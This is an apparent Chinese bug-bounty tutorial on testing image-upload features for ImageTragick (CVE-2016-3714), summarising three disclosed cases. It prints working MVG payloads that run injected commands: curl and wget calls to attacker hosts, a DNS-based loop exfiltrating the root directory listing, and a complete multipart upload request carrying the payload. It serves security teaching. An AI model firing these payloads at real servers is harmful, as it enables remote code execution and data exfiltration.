赏金猎人系列-文件上传功能测试小结-II
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
首先祝大家新年快乐,兔年大吉!
前文有: 赏金猎人系列-如何测试文件上传功能, 赏金猎人系列-如何测试文件上传功能-II;
本文继续讲解如何测试文件上传功能
正文
背景知识:
cve-2016-3714
具体可以参考P神之前写的一篇分析文章:
https://paper.seebug.org/papers/Archive/drops2/CVE-2016-3714%20-%20ImageMagick%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90.html
主要关键点是: ImageMagick里面有个叫delegate的模块,这个模块的功能是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的;
案例1
这个作者首先发现了一个重定向,继而发现了picture参数,然后展开测试:
首先想到的是 SSRF 问题。利用nc -lvvv 8088
测试之后发现服务器是来自外部的;
但是,这个参数是picture,一般而言,应用程序都会使用某种转换器转换图像,开始深入挖掘,想挖XXE相关的问题的,但是没有挖到。
继续,向ImageTragick这个思路出发,上poc:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context
没有反应,继续折腾,想到:有时候会阻止常见请求但不阻止 DNS :
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context
结果是:
IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
whois current_ip
netname: LLA1-11
descr: Facebook
成功!!!
经过一系列测试表明:
要么所有出站端口都已关闭,要么将花费大量时间来找到一个将打开的端口。这里采用了另一种足以用于 PoC 的方式。
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context
这里简要解释一下这里的命令:
这段代码首先将当前图形上下文入栈,然后设置了一个视图框,大小为 640x480。
然后调用了 image over 命令来将图像覆盖到视图框的 (0,0) 位置。第一个参数 0,0 表示图像在视图框中的位置,第二个参数 0,0 表示图像的大小。
最关键的部分在于
'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
这里的代码是一个URL,它的请求将会被发送到本地的x.php脚本,并且将请求的参数x作为命令执行。这个命令会使用ls命令列出根目录下的所有文件,然后对于每个文件都执行一次curl请求,请求的地址是:文件名.attacker.tld,并且将请求的响应重定向到/dev/null.
案例2
这个案例中的文件上传漏洞也是由于ImageTragick造成的,值得注意的是,这个漏洞提交的时候已经是2018年了,距离CVE发生的时候已经时隔将近2年了;
漏洞发生的功能点还是在图片上传功能(个人资料头像)
poc如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg "|whoami>>/tmp/alyssa.txt")'
pop graphic-context
案例3
在/settings/profile/edit
上传的个人资料图片容易受到远程代码执行的攻击,因为上传的文件被传递给ImageMagick而没有检查它是否是实际的图像
复现步骤:
将以下ASCII文件上传为x.gif:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'
pop graphic-context
总结
尝试在有扩展名文件的内容中插入ImageTragick命令,例如: png, gif, mvg, svg,这样可能会有RCE或者SSRF
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: Number
Content-Disposition: form-data; name="file"; filename="image.png"
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.me.com/" -d @- > /dev/null; done`'
pop graphic-context
------WebKitFormBoundary--
往期回顾
参考
https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
https://hackerone.com/reports/412021
https://hackerone.com/reports/135072
彩蛋: 支付宝红包口令:46622453
彩蛋: 另外一篇文章有更多红包
原文始发于微信公众号(迪哥讲事):赏金猎人系列-文件上传功能测试小结-II
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论